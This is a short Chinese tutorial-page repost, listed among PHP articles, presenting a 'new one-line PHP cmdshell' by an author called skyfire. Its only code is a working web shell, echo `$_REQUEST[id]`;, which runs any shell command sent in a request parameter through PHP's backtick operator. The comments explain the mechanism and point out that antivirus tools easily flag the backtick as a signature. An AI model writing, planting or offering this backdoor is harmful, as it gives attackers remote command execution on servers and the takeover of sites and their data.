繁體中文当前位置: 首页 > 图文教程 > 网络编程 > PHP > php一句话cmdshell新型 (非一句话木马)
- PHP
- 为php4加入动态flash文件的生成的支持
- 一个oracle+PHP的查询的例子
- 第十节 抽象方法和抽象类 [10]
- 第九节 绑定 [9]
- 第八节 访问方式 [8]
- 第六节 访问属性和方法 [6]
- 第五节 克隆 [5]
- Zend引擎的发展 [15]
- 第三节 定义一个类 [3]
- 第二节 对象模型 [2]
- Classes and Objects in PHP5-面向对象编程 [1]
- PHP5 安装方法
- 第四节 构造函数和析构函数 [4]
- php中数据的批量导入(csv文件)
- 一个ftp类（ini.php）
- example1.php
- VML绘图板②脚本--VMLgraph.js、XMLtool.js
- 如何获得PHP相关资料
- PHP 和 COM
- 编译问题
PHP 中的 php一句话cmdshell新型 (非一句话木马)
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-10-12 浏览: 198 ::
收藏到网摘: n/a
php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令，并返回命令执行的结果(string类型)；
复制代码 代码如下:
<?php
/*一个新型的php一句话cmdshell(非一句话木马)
//原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令，并返回命令执行的结果(string类型)；
//局限性:特征码比较明显，``符号在php中很少用到，杀毒软件很容易以此为特征码扫描到并警报；``里面不能执行php代码；
//write by skyfire
*/
echo `$_REQUEST[id]`;
?>
评论 (0) All
